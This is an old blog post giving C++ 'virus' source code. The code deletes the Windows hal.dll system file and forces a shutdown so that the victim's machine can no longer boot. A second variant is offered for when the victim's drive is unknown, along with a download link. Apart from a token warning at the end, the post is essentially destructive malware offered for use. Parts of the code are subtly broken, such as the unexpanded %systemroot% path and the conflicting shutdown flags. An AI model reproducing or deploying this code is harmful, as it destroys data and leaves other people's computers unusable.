C++ Virus program to delete Hall.dll file and shutdown the system
Post date: Jun 7, 2011 12:35:16 PM
C++ Virus Code
Here i'll guide you to create a virus to delete Hal.dll file from the system and shutdown the system. The victim system can not be loaded once shutdown. The hal.dll file is a hidden file that is used by Windows XP to communicate with your computer's hardware.
The Program is Here:
#include<iostream.h>
#include<stdlib.h>
using namespace std;
int main(int argc, char *argv[])
{
std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}
A more advanced version of this virus which makes the C:\Windows a variable that cannot be wrong. Here it is:
Code:
#include<iostream.h>
#include<stdlib.h>
using namespace std;
int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}
You can download this file:
http://www.ziddu.com/download/12743349/ccode.zip.html
The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know
warning: please don't try this program in your system.